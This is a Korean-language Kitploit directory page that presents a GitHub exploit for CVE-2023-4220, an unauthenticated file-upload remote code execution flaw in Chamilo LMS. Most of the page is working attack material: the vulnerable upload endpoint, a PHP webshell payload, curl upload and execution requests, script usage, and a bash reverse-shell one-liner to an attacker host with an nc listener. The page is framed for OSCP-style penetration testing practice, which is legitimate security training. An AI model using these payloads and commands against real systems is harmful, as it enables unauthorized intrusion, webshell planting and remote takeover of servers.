Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — Chamilo LMS ≤ 1.11.24에서의 인증되지 않은 파일 업로드 RCE. OSCP 스타일 및 자동 익스플로잇. | Kitploit
도구/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Chamilo LMS ≤ 1.11.24에서의 인증되지 않은 파일 업로드 RCE. OSCP 스타일 및 자동 익스플로잇.

저장소 보기
64개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ChamiloLMS CVE-2023-4220 익스플로잇

CVE-2023-4220에 대한 Python 익스플로잇입니다. 이 취약점은 Chamilo LMS <= 1.11.24에 영향을 미치는 인증되지 않은 임의 파일 업로드 취약점입니다.

취약점은 Chamilo의 BigUpload 구성 요소에 있습니다. 취약한 설치 환경에서는 업로드 핸들러가 적절한 검증 없이 PHP 파일을 업로드할 수 있도록 허용합니다. 업로드된 파일은 웹에서 접근 가능한 디렉토리에 저장되므로, PHP 실행이 활성화되어 있으면 업로드된 PHP 파일을 직접 요청하여 웹쉘로 사용할 수 있습니다.

해당 리포지토리에는 두 가지 버전의 익스플로잇이 포함되어 있습니다:

chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

두 스크립트 모두 PHP 웹쉘을 업로드하고, 명령 실행을 확인하며, cmd GET 매개변수를 통해 명령을 실행할 수 있습니다. 실제 차이점은 --shell 처리 방식뿐입니다.

auto 버전은 자체 리스너를 시작하고, 리버스 셸을 트리거한 후 자동으로 대화형 세션으로 전환합니다.

oscp 버전은 리버스 셸 페이로드를 트리거하지만 리스너를 시작하지 않습니다. 실행하기 전에 수동으로 리스너를 시작해야 합니다.


설치

리포지토리를 클론합니다:

git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

요구 사항을 설치합니다:

python3 -m pip install -r requirements.txt

유일한 외부 종속성은 requests이므로 수동으로 설치할 수도 있습니다:

python3 -m pip install requests

사용법

대상은 -u 또는 --url로 전달됩니다:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

두 스크립트에서 동일한 옵션을 사용할 수 있습니다:

-u, --url              Target base URL
--check               Check if the BigUpload files directory is reachable
--upload              Upload the webshell and verify command execution
--cmd CMD             Execute a single command through the uploaded webshell
--shell LHOST LPORT   Trigger a reverse shell
--filename NAME       Use a custom filename for the uploaded PHP file
--proxy PROXY         Send traffic through a proxy, for example Burp Suite
--timeout SECONDS     Set the HTTP timeout
--verify-tls          Enable TLS certificate verification
--cleanup             Try to remove the uploaded webshell after execution

자동 버전에는 다음도 포함됩니다:

--listen-timeout SEC  Time to wait for the reverse shell connection

기본 예제

예상 BigUpload 경로에 접근 가능한지 확인합니다:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

PHP 웹쉘을 업로드하고 명령 실행을 확인합니다:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

단일 명령 실행:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

사용자 정의 파일명 사용:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Burp Suite를 통해 트래픽 전송:

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

위의 예제는 auto 스크립트를 사용했지만, 동일한 구문을 chamilo_cve_2023_4220_oscp.py에서도 사용할 수 있습니다.


리버스 셸

--shell 옵션은 두 스크립트에 모두 존재하지만, 사용되는 버전에 따라 다르게 동작합니다.

자동 버전

python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

이 버전은 10.10.14.3:4444에서 로컬 리스너를 시작하고, 웹쉘을 업로드하며, 리버스 셸을 트리거한 후 자동으로 대화형 세션을 엽니다.

이 버전을 사용할 때는 수동으로 nc를 실행할 필요가 없습니다.

OSCP 스타일 버전

먼저 수동으로 리스너를 시작하십시오:

sudo nc -nlvp 4444

그런 다음 다른 터미널에서 익스플로잇을 실행합니다:

python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

이 버전은 업로드된 웹쉘을 통해 리버스 셸 페이로드만 전송합니다. 연결은 수동으로 시작한 리스너에서 수신합니다.

두 스크립트에 의해 트리거되는 리버스 셸 명령은 다음과 동일합니다:

bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

LHOST 값이 대상에서 접근 가능한지 확인하십시오. VPN 환경에서는 일반적으로 터널 인터페이스 주소입니다:

ip -brief addr show tun0

취약점 세부 정보

CVE-2023-4220은 Chamilo LMS 버전 1.11.24까지 영향을 미칩니다.

취약한 업로드 핸들러는 다음 위치에 있습니다:

/main/inc/lib/javascript/bigupload/inc/bigUpload.php

익스플로잇이 악용하는 액션은 다음과 같습니다:

?action=post-unsupported

업로드된 파일은 일반적으로 다음 위치에서 접근 가능합니다:

/main/inc/lib/javascript/bigupload/files/

익스플로잇은 BigUpload가 예상하는 폼 필드를 사용하여 multipart/form-data POST 요청을 보냅니다:

bigUploadFile

업로드된 PHP 페이로드는 작은 명령 래퍼입니다:

<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

명령은 cmd GET 매개변수를 통해 전달됩니다:

http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

명령 출력 주변의 마커는 HTTP 응답에서 관련 부분을 추출하는 데 사용됩니다.


수동 요청

스크립트에서 수행하는 업로드는 다음과 동일합니다:

curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

업로드 성공 후, 명령 실행은 다음과 같이 테스트할 수 있습니다:

curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

참고 사항

--check는 예상 BigUpload 파일 디렉토리에 접근 가능한지만 확인합니다. 긍정적인 결과가 대상이 익스플로잇 가능하다는 것을 보장하지는 않습니다.

완전한 검증을 위해서는 PHP 페이로드를 업로드하고 --upload 또는 --cmd로 명령 실행을 확인해야 합니다.

업로드는 작동하지만 명령 실행이 실패하는 경우, 업로드 디렉토리에서 PHP 실행이 비활성화되었거나, 대상이 패치되었거나, 서버 측 규칙이 요청을 차단하고 있을 수 있습니다.

실행 후 업로드된 PHP 파일을 제거하려면 --cleanup을 사용하십시오.

도구 다운로드